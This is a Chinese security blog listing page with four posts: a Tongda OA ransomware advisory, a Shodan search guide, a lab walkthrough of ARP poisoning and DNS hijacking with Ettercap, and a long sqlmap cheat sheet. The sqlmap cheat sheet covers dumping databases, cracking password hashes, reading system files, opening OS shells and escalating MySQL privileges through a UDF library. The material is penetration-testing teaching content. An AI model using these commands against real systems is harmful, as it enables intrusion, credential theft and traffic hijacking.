漏洞描述通达OA是一套办公系统。近日通达OA官方在官方论坛披露了近期一起通达OA用户服务器遭受勒索病毒攻击事件。攻击者通过构造恶意请求,上传webshell等恶意文件,并对入侵的服务器进行文件加密,勒索高额匿名货币赎金。影响版本V11版2017版2016版2015版2013增强版2013版安全建议通达OA官方已经发布相应安全加固程序,请根据当前OA版本选择所对应的程序文件,运行前请先做好备份。安全更新下载地址:http://www.tongda2000.com/news/673.php相关链接http://club.tongda2000.com/forum.php?mod=viewthread&tid=128377&extra=page%3D1
2020年03月25日
137 阅读
0 评论
0 点赞
2020-03-24
Shodan使用指南
前言Shodan是一个搜素互联网链接设备的搜索引擎,不同于Google、Baidu这些搜素引擎。用户可以在Shodan上使用Shodan搜索语法查找链接到互联网的摄像头、路由器、服务器等设备信息。在渗透测试中是个非常非常不错的神器。Shodan的工作原理Shodan 通过扫描全网设备并抓取解析各个设备返回的 banner 信息,通过了解这些信息 Shodan 就能得知网络中哪一种 Web 服务器是最受欢迎的,或是网络中到底存在多少可匿名登录的 FTP 服务器。注:banner信息:用于描述设备所运行服务的标志性文本信息。Shodan的使用在使用Shodan之前我们需要注册一个Shodan账户,之后才可以使用:Shodan的使用方法较为简单,你可以将其当成一个“网络区域的”浏览器,之所以这样说是因为它具备搜索引擎的功能,而且是主要面对于网络设备的。Shodan初试条目介绍:左侧部分:Top Countries 使用最多的国家 Top services 使用最多的服务 Top organizations 使用最多的组织 Top operating systems 使用最多的操作系统 Top products (Software name) 使用最多的产品中间部分:涉及与搜素关键词有关的Target,主要包含的信息有:IP地址 主机名 该主机所处国家、区域 该条目的收录收录时间 Banner信息如果想要获得更加详细的信息可以点击“Details”之后获取与此目标相关的信息内容:Shodan的使用语法面对大量的信息量,如果要获取我们想要的目标信息,那么就必须附加限制条件缩小范围是最后的结果更加精确,与Google一样Shodan也有相应的语言可以使用:hostname——————————搜索指定的主机或域名,例如 hostname:baidu port——————————————搜索指定的端口或服务,例如 port:80 country———————————搜索指定的国家,例如 country:US city——————————————搜索指定的城市,例如 city:Chengdu org———————————————搜索指定的组织或公司,例如 org:"Google" isp———————————————搜索指定的ISP供应商,例如 isp:"China Telecom" product———————————搜索指定的操作系统/软件/平台,例如 product:"Apache httpd" version———————————搜索指定的软件版本,例如 version:"1.6.2" geo———————————————搜索指定的地理位置,参数为经纬度,例如 geo:"31.8639, 117.2808" before/after——————搜索指定收录时间前后的数据,格式为dd-mm-yy,例如 before:"11-11-15" net———————————————搜索指定的IP地址或子网,例如 net:"210.45.240.0/24" 查找位于国内的Nginx服务器nginx country:"CN"查找 GWS(Google Web Server) 服务器:"Server: gws" hostname:"google"查找指定网段的华为设备:huawei net:"61.191.146.0/24"如上通过在基本关键字后增加指定的过滤关键字,能快速的帮助发现我们感兴趣的内容。当然,还有更快速更有意思的方法,那就是点击 Shodan 搜索栏右侧的 “Explore” 按钮,就会得到很多别人分享的搜索语法命令行下使用 ShodanShodan 是由官方提供的 Python 库的,项目位于:https://github.com/achillean/shodan-python安装pip install shodan或者git clone https://github.com/achillean/shodan-python.git && cd shodan-python python setup.py install安装完后我们先看下帮助信息:➜ ~ shodan -h Usage: shodan [OPTIONS] COMMAND [ARGS]... Options: -h, --help Show this message and exit. Commands: alert Manage the network alerts for your account # 管理账户的网络提示 convert Convert the given input data file into a... # 转换输入文件 count Returns the number of results for a search # 返回查询结果数量 download Download search results and save them in a... # 下载查询结果到文件 honeyscore Check whether the IP is a honeypot or not. # 检查 IP 是否为蜜罐 host View all available information for an IP... # 显示一个 IP 所有可用的详细信息 info Shows general information about your account # 显示账户的一般信息 init Initialize the Shodan command-line # 初始化命令行 myip Print your external IP address # 输出用户当前公网IP parse Extract information out of compressed JSON... # 解析提取压缩的JSON信息,即使用download下载的数据 scan Scan an IP/ netblock using Shodan. # 使用 Shodan 扫描一个IP或者网段 search Search the Shodan database # 查询 Shodan 数据库 stats Provide summary information about a search... # 提供搜索结果的概要信息 stream Stream data in real-time. # 实时显示流数据常用示例init初始化命令行工具。➜ ~ shodan init [API_Key] Successfully initializedcount返回查询的结果数量。➜ ~ shodan count microsoft iis 6.0 575862download将搜索结果下载到一个文件中,文件中的每一行都是 JSON 格式存储的目标 banner 信息。默认情况下,该命令只会下载1000条结果,如果想下载更多结果需要增加--limit 参数。
2020年03月24日
1,074 阅读
0 评论
0 点赞
2020-03-23
Ettercap实现局域网DNS劫持
环境准备:1.kali系统;2.用到的软件:kali中的Ettercap,一个集成工具,里面包括了局域网主机扫描,arp欺骗,DNS劫持等功能;3.受害PC:自己的虚拟机中的系统centos。原理DNS,全称为域名解析协议,是一种将域名解析为ip地址的协议,基于UDP的53端口。比如我们在浏览器访问百度域名,会先向dns服务器发送一次dns请求报文,询问百度的ip地址,dns服务器经过查询(或递归查询)会将百度的域名以及对应的ip地址以dns响应报文的形式发回给我们,然后我们才可以与所对应的ip建立TCP连接进行网络通信。dns劫持建立在arp欺骗的基础上,关于arp的文章之前有写过,链接:arp协议分析&python编程实现arp欺骗抓图片,通过arp欺骗可以监听受害者机器到网关之间的流量,如果可以过滤协议为UDP,端口为53端口的数据报文,也就是DNS报文,并且将dns响应中的域名所对应的ip地址改写成我们服务器的ip,受害者机器就会与我们的机器进行连接通信,这就是dns投毒的基本原理,kali的Ettercap就可以做到这一点。1.打开ettercap的DNS文件进行编辑,文件路径为/etc/ettercap/etter.dns2.编辑/var/www/html/index.html文件 改成你定义页面 当然,如果你劫持到公网的某个地址,你可以跳过这步的3.输入命令ettercap -G来进入ettercap的图形界面4.选择网卡点击Sniff–>Unfied sniffing—配置,网卡选择eth05.接下来点击Hosts–>Scan for hosts,扫描局域网中存活的ip,寻找攻击目标6.显示扫到四个主机,点击Hosts list查看7.将网关192.168.75.1 Add to Target1,将受害PC192.168.75.131 Add to Target28.然后点击Mitm–>ARP poisoning9.勾选Sniff remote connections10.ARP欺骗便开始了11.下面开始dns劫持,点击Plugins–>Manage the plugins12.选择dns_spood插件,便开始dns欺骗了13.最后点击strat>start sniffing
2020年03月23日
309 阅读
0 评论
0 点赞
2020-03-19
sqlmap使用
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令下载安装官方网站:http://sqlmap.org/下载地址:https://github.com/sqlmapproject/sqlmap/(1)linux下git直接安装gitclone –depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev(2)windows下安装windows下下载sqlmap的压缩包,解压后即可使用。但需要一些组件包的支持,需要有python2.7.x或者2.6.x环境支持。(3)kali及PentestBox默认安装sqlmap参数 -h或-hh:查看sqlmap的参数信息,双h显示全部 -version:查看版本信息目标-d 直接连接数据库的连接字符串 sqlmap -d “mysql://root:123456@127.0.0.1:3306/mysql"-u 检测目标url是否存在注入 sqlmap -u "http://127.0.0.1/sql.php?id=1"-m 检测文件中的url 例: sqlmap -m "1.txt"-r:从文件加载HTTP请求进行注入(burp抓取的数据包等) 例: sqlmap - r "1.txt"-g 自动获取Google搜索的前一百个结果,所处的网络环境要能访问Google才行 例: sqlmap -g "inurl:\".php?id=1\""-p 指定测试参数,若想只测试GET参数“id”和User-Agent 例: sqlmap -u "http://127.0.0.1?id=1" -p "id,user-agent"--skip 不测试指定参数,如设置了level为5但不想测试User-Agent和Referer 例: sqlmap -u "http://127.0.0.1?id=1" --level 5 --skip "user-agent,referer"--dbms 指定数据库类型,支持以下这些数据库管理系统:MySQL,Oracle,PostgreSQL,SQL Server,Access,Firebird,SQLite,Sybase,SAP MaxDB,DB2 例: sqlmap -u "http://127.0.0.1?id=1" --dbms Access--os 指定操作系统 例: sqlmap -u "http://127.0.0.1?id=1" --os linux请求--data 通过POST发送数据参数sqlmap会检测该参数指定数据是否存在注入漏洞 例: sqlmap -u "http://127.0.0.1" --data "id=1"--proxy 设置代理 例: sqlmap -u "http://127.0.0.1" --proxy "http://127.0.0.1:8080"--param-del 默认url地址以“&”作为分隔符。我们可以使用“--param-del”来指定分隔符 例: sqlmap -u "http://127.0.0.1" --data "id=1;name=junmo" --param-del=";"--cookie 部分页面访问需要登入状态cookie默认的分隔符为“;”指定cookie中的分隔符使用参数"–cookie-del" 例: sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1" --cookie "PHPSESSID=kldvor5u6uokm9b2qpa0t4kp41;user=junmo;"--drop-set-cookie 若HTTP响应头中有"Set-Cookie",Sqlmap会自动设置cookie,并对这些cookie进行检测,不想set cookie添加参数"--drop-set-cookie" sqlmap就会忽略。--user-agent sqlmap默认的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(sqlmap.org)使用--user-agent参数来修改,当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入 例: sqlmap -u "http://127.0.0.1?id=1" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.0"--random-agent 从文件./txt/user-agents.txt中随机地取一个User-Agent作为HTTP User-Agent头值 例: sqlmap -u "http://127.0.0.1?id=1" --random-agent--referer 指定HTTP头中的Referer值,Sqlmap发送的HTTP请求头部默认无Referer字段level<=3时,会检测Referer是否存在注入漏洞 例: sqlmap -u "http://127.0.0.1?id=1" --referer "http://192.168.0.1/"--headers 发送时额外添加HTTP请求报文头部字段,若添加多个字段,用"\n"分隔 例: sqlmap -u "http://127.0.0.1?id=1" --headers="X-Forwarded-For: 1.1.1.1\nETag: 123456"--delay 来指定HTTP请求之间的延迟防止过于频繁而被拦截,单位为秒,类型是浮点数,如"--delay 1.5"表示延迟1.5秒,默认是没有延迟的。例: sqlmap -u "http://127.0.0.1?id=1" --delay 0.5--timeou 超时时间默认为30秒,指定超时时间,如"--timeout 52.1"表示设置超时时间为52.1秒 例: sqlmap -u "http://127.0.0.1?id=1" --timeou 50--retries 指定超时后最大重试次数默认为3 例: sqlmap -u "http://127.0.0.1?id=1" --retries 5--skip-urlencode 默认会对URL进行URL编码,使用该参数关闭URL编码。例: sqlmap -u "http://127.0.0.1?id=1" --skip-urlencode--threads 设置线程默认为1最大为10 例: sqlmap -u "http://127.0.0.1?id=1" --threads 10--invalid-bignum 生成无效参数值时强制使用大数, 注入测试时需要生成无效参数,一般情况下Sqlmap会取已有参数(如:id=13)的相反数(如:id=-13)作为无效参数。但若添加"–invalid-bignum”,Sqlmap就会取大数(如:id=99999999)作为无效参数。--invalid-logical 生成无效参数值时强制使用逻辑操作符, 注入测试时需要生成无效参数,一般情况下Sqlmap会取已有参数(如:id=13)的相反数(如:id=-13)作为无效参数。但若添加“–invalid-logical”,Sqlmap就会使用逻辑操作符(如:id=13 AND 18=19)作为无效参数。--invalid-string 生成无效参数值时强制使用字符串, 注入测试时需要生成无效参数,一般情况下Sqlmap会取已有参数(如:id=13)的相反数(如:id=-13)作为无效参数。但若添加“–invalid-logical”,Sqlmap就会使用字符串(如:id=akewmc)作为无效参数。--no-cast 关闭payload转换 在检索结果时Sqlmap会将所有输入转换为字符串类型,若遇到空值(NULL)则将其替换为空白字符。这样做是为了防止如连接空值和字符串之类的任何错误发生并可以简化数据检索过程。但是有报告显示在老版本的Mysql中这样做会导致数据检索出现问题,因此添加了"–no-cast"来告诉Sqlmap不要这样做。--no-escape 关闭字符串编码 有时Sqlmap会使用用单引号括起来的字符串值作为payload,如“SELECT ‘foobar’”,默认地这些值会被编码,如上例将被编码为:“SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114))”。这样做既可以混淆视听让人一时难以洞察payload的内容又可以在后台服务器使用类似magic_quote或mysql_real_escape_string这样的转义函数的情况下字符串不受影响。当然在某些情况下需要关闭字符串编码,如为了缩减payload长度,用户可以使用“–no-escape”来关闭字符串编码--prefix payload前添加用户指定的前缀,如宽字节注入 例: sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1" --prefix "%df'"--suffix payload后添加用户指定的后缀--mobile 模拟手机User-Agent检测--level 用于指定检测级别,有1~5共5级。默认为1,表示做最少的检测,相应的,5级表示做最多的检测 例: sqlmap -u "http://127.0.0.1?id=1" --level 5--risk 用于指定风险等级,有1~4共4级。默认风险等级为1,此等级在大多数情况下对测试目标无害,风险等级2添加了基于时间的注入测试,等级3添加了OR测试。sqlmap -u "http://127.0.0.1?id=1" --risk 3'-v VERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;“1”同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。信息获取 --common-tables 暴力破解表名 有些情况下用“--tables”不能列出数据库中表名来,如:版本小于5.0的MySQL没有information_schema表微软Access的MSysObjects表默认不可读数据库用户权限过低无法读取表名当无法读出表名时可以使用参数“–common-tables”暴力破解表名,该参数使用的字典是txt/common-tables.txt,其中存储了常见表名,可以手动编辑该文件。 --common-columns 暴力破解列名 该参数使用的字典是txt/common-columns.txt,其中存储了常见列名,可以手动编辑该文件。 --all 列举所有可访问的数据 -b或--banner 大多数的现代数据库管理系统都有一个函数或是环境变量能够返回数据库管理系统的版本号和最后的补丁级别以及底层的操作系统信息。通常这个函数是version()、环境变量是@@version,当然要看目标数据库管理系统了。使用参数“-b”或“--banner”来列举数据库管理系统的这一信息。 --current-user 获取当前用户 --current-db 获取当前数据库 --hostname 获取服务器主机名 --is-dba 检测是否为管理员权限若是管理员则返回True,否则返回False。 --users 获取数据库用户 --password 获取数据库管理系统用户密码Hash值 --privileges 获取当前用户权限 --dbs 获取数据库系统数据库 --tables 获取数据库系统数据表 --columns 获取数据库系统数据列 -D 指定数据库 -T 指定数据表 -C 指定数据列 --count 获取数据条数 例: sqlmap -u "http://127.0.0.1?id=1" -D "mysql" -T "user" --count --dump 下载指定数据 例: sqlmap -u "http://127.0.0.1?id=1" --dump -D "mysql" -T "user" --dump-all 下载所有数据 --exclude-sysdbs 排除指定数据库 例: sqlmap -u "http://127.0.0.1?id=1" --dump-all --exclude-sysdbs "mysql" --search 可以搜索数据库名,在所有数据库中搜索表名,在所有数据库的所有表中搜索列名。参数“–search”要和下列参数之一配合使用: -C:后跟以逗号分隔的列名,在整个数据库管理系统中搜索 -T:后跟以逗号分隔的表名,在整个数据库管理系统中搜索 -D:后跟以逗号分隔的库名,在整个数据库管理系统中搜索在搜索时,Sqlmap会询问用户进行精确搜索还是包含搜索。默认为包含搜索,即搜索的字符串包含于结果中就认为命中。精确搜索要求搜索的字符串与结果完全相等。例: sqlmap -u "http://127.0.0.1?id=1" -T "user" --search "user" --sql-query 执行sql语句 例: sqlmap -u "http://127.0.0.1?id=1" --sql-query "select version()" --sql-shell 交互式SQL的shell小技巧--technique 指定注入类型 其值为B、E、U、S、T或Q,含义如下:B:Boolean-based blind(布尔型注入)E:Error-based(报错型注入)U:Union query-based(可联合查询注入)S:Stacked queries(可多语句查询注入)T:Time-based blind(基于时间延迟注入)Q:Inline queries(嵌套查询注入)可以用“--technique ES”来指定使用两种检测技术。“--technique BEUSTQ”与默认情况等效。--time-sec 此参数用与设置基于时间延迟注入中延时时长,默认为5秒。--union-cols 在进行联合查询注入时,Sqlmap会自动检测列数,范围是1到10。当level值较高时列数检测范围的上限会扩大到50。可以用此参数指定列数检测范围,如--union-cols 12-16就会让Sqlmap的列数检测范围变成12到16。--union-char 默认情况下Sqlmap进行联合查询注入时使用空字符(NULL)。但当level值较高时Sqlmap会生成随机数用于联合查询注入。因为有时使用空字符注入会失败而使用随机数会成功。使用此参数可以指定联合查询注入中使用的字符,如:“--union-char 123”--union-from 有些情况下在联合查询中必须指定一个有效和可访问的表名,否则联合查询会执行失败,如在微软的Access中。(也就是说,某些DBMS不支持“SELECT 1,2;”这样的语句,SELECT必须有FROM。)用此参数指定这个表名,如“–union-from=users”访问文件系统--file-read 读取文件 例: sqlmap -u "http://127.0.0.1?id=1" --file-read "D:/1.txt"--file-write --file-dest 上传文件到数据库服务器中 例: sqlmap -u "http://127.0.0.1?id=1" --file-write "本机位置” --file-dest “上传位置”操作系统控制 --os-cmd 执行系统命令 sqlmap -u "http://127.0.0.1?id=1" --os-cmd "whoami" --os-shell 交互式的操作系统的shell通用选项 -s Sqlmap会自动地为每一个目标创建长久保存的会话SQLite文件,该文件统一存储在特定目录(如:~/.sqlmap/output/)中,其中保存着恢复会话所需的所有数据。若用户想要明确地指定SQLite文件(例如想要将多个目标的数据存储到同一个SQLite文件中),可使用此参 -t 记录所有HTTP流量到一个文本文件中,该参数后跟一个文件路径,用于将HTTP(S)请求和响应以文本格式记录到文件中作为日志。这样的日志在调试时是很有用的。例:sqlmap -u "http://127.0.0.1?id=1" -t http.log --batch不询问用户输入,使用所有默认配置(Y/N)。 --charset 设置字符编码 如“–charset=GBK --crawl 从目标URL爬行网站 Sqlmap可以从目标URL开始爬取目标站点并收集可能存在漏洞的URL。使用该参数还需要设置爬取深度,深度是相对于开始爬取的目标URL而言的。只有所有新链接都被递归地访问过后才算爬取结束。建议该参数与“–delay”配合使用.例: sqlmap -u "http://127.0.0.1?id=1" --batch --crawl 3 --eta 该参数用于显示估计的完成时间 --flush-session 刷新会话文件,以避免Sqlmap默认的缓存机制可能造成的一些问题。例: sqlmap -u "http://127.0.0.1?id=1" --flush-session --forms 解析和测试目标URL表单 sqlmap -u "http://127.0.0.1" --forms --hex 非ASCII数据很容易在传输时出错,使用hex函数可以将目标数据库中数据以十六进制返回。 --update 更新sqlmapTampersqlmap版本为1.2.7.20,有57个tamper脚本序号脚本名称注释10x2char将每个编码后的字符转换为等价表达2apostrophemask单引号替换为Utf8字符3apostrophenullencode替换双引号为%00%274appendnullbyte有效代码后添加%005base64encode使用base64编码6between比较符替换为between7bluecoat空格替换为随机空白字符,等号替换为like8chardoubleencode双url编码9charencode将url编码10charunicodeencode使用unicode编码11charunicodeescape以指定的payload反向编码未编码的字符12commalesslimit改变limit语句的写法13commalessmid改变mid语句的写法14commentbeforeparentheses在括号前加内联注释15concat2concatws替换CONCAT为CONCAT_WS16equaltolike等号替换为like17escapequotes双引号替换为\\\\18greatest大于号替换为greatest19halfversionedmorekeywords在每个关键字前加注释20htmlencodehtml编码所有非字母和数字的字符21ifnull2casewhenisnull改变ifnull语句的写法22ifnull2ifisnull替换ifnull为if(isnull(A))23informationschemacomment标示符后添加注释24least替换大于号为least25lowercase全部替换为小写值26modsecurityversioned空格替换为查询版本的注释27modsecurityzeroversioned添加完整的查询版本的注释28multiplespaces添加多个空格29nonrecursivereplacement替换预定义的关键字30overlongutf8将所有字符转义为utf831overlongutf8more以指定的payload转换所有字符32percentage每个字符前添加%33plus2concat将加号替换为concat函数34plus2fnconcat将加号替换为ODBC函数{fn CONCAT()}35randomcase字符大小写随机替换36randomcomments/**/分割关键字37securesphere添加某字符串38sp_password追加sp_password字符串39space2comment空格替换为/**/40space2dash空格替换为–加随机字符41space2hash空格替换为#加随机字符42space2morecomment空格替换为/**_**/43space2morehash空格替换为#加随机字符及换行符44space2mssqlblank空格替换为其他空符号45space2mssqlhash空格替换为%23%0A46space2mysqlblank空格替换为其他空白符号47space2mysqldash空格替换为–%0A48space2plus空格替换为加号49space2randomblank空格替换为备选字符集中的随机字符50symboliclogicalAND和OR替换为&&和||51unionalltounionunion all select替换为union select52unmagicquotes宽字符绕过GPC53uppercase全部替换为大写值54varnish添加HTTP头55versionedkeywords用注释封装每个非函数的关键字56versionedmorekeywords使用注释绕过57xforwardedfor添加伪造的HTTP头使用技巧1. URL重写SQL注入测试value1为测试参数,加“*”即可,sqlmap将会测试value1的位置是否可注入。sqlmap -u "http://127.0.0.1/param1/value1*/param2/value2/"2. 列举并破解密码哈希值 当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。sqlmap -u "http://127.0.0.1/sqlmap/pgsql/get_int.php?id=1" --passwords -v13. 获取表中的数据个数sqlmap. -u "http://127.0.0.1/sqlmap/mssql/iis/get_int.asp?id=1" --count -Dtestdb4.对网站s127.0.0.1进行漏洞爬取sqlmap -u "http://127.0.0.1" --batch –crawl=35.基于布尔SQL注入预估时间sqlmap -u "http://127.0.0.1/sqlmap/oracle/get_int_bool.php?id=1" -b --eta6.使用hex避免字符编码导致数据丢失sqlmap -u "http://127.0.0.1/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors7.模拟测试手机环境站点sqlmap -u "http://www.target.com/vuln.php?id=1" --mobile8.智能判断测试sqlmap -u “http://www.antian365.com/info.php?id=1“--batch --smart9.结合burpsuite进行注入(1)burpsuite抓包,需要设置burpsuite记录请求日志sqlmap -r "burpsuite抓包.txt"(2)指定表单注入sqlmap.py -u "http://127.0.0.1" --data "username=a&password=a”10.sqlmap自动填写表单注入自动填写表单:sqlmap -u "http://127.0.0.1" –formssqlmap -u "http://127.0.0.1" –forms –dbssqlmap -u "http://127.0.0.1" –forms –current-dbsqlmap -u "http://127.0.0.1" –forms -D 数据库名称–tablessqlmap -u "http://127.0.0.1" –forms -D 数据库名称 -T 表名 –columnssqlmap -u "http://127.0.0.1" –forms -D 数据库名称 -T 表名 -Cusername,password –dump11.读取linux下文件 sqlmap -u "http://127.0.0.1" --file /etc/password12.延时注入sqlmap -u ""http://127.0.0.1?id=1" --technique -T13. sqlmap 结合burpsuite进行post注入结合burpsuite来使用sqlmap:(1)浏览器打开目标地址http://127.0.0.1(2)配置burp代理(127.0.0.1:8080)以拦截请求(3)点击登录表单的submit按钮(4)Burp会拦截到了我们的登录POST请求(5)把这个post请求复制为txt, 我这命名为post.txt 然后把它放至sqlmap目录下(6)运行sqlmap并使用如下命令:sqlmap -r "post.txt" -p tfUPass14.sqlmap cookies注入sqlmap -u “http://127.0.0.1/base.PHP“–cookies “id=1″ –dbs –level 2默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值,然后进行注入:sqlmap.py -u 注入点URL --cookie"id=xx" --level 3sqlmap.py -u url --cookie "id=xx"--level 3 --tables(猜表名)sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 --coiumnssqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 -C username,password --dump 15.mysql提权(1)连接mysql数据打开一个交互shell:sqlmap.py -d "mysql://root:root@127.0.0.1:3306/test" --sql-shellselect @@version;select @@plugin_dir;d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\(2)利用sqlmap上传lib_mysqludf_sys到MySQL插件目录:sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll--file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dllCREATE FUNCTION sys_exec RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'CREATE FUNCTION sys_eval RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'select sys_eval('ver');16.执行shell命令sqlmap -u "http://127.0.0.1?id=1" --os-cmd "netuser" /*执行net user命令*/sqlmap -u "http://127.0.0.1?id=1" --os-shell /*系统交互的shell*/17.延时注入sqlmap –dbs -u "http://127.0.0.1?id=1" --delay 0.5 /*延时0.5秒*/sqlmap –dbs -u "http://127.0.0.1?id=1" --safe-freq /*请求2次*/18.批量注入将目标url搜集并整理为txt文件,所有文件都保存为你url.txt,然后使用"sqlmap.py-m tg.txt",注意url.txt跟sqlmap在同一个目录下19.设置并发线程数在dump的时候推荐使用此选项,能明显增加dump的速度。sqlmap -u "http://127.0.0.1?id=1" --dump-all --threads "10"
2020年03月19日
154 阅读
0 评论
0 点赞
1
...
3
4
5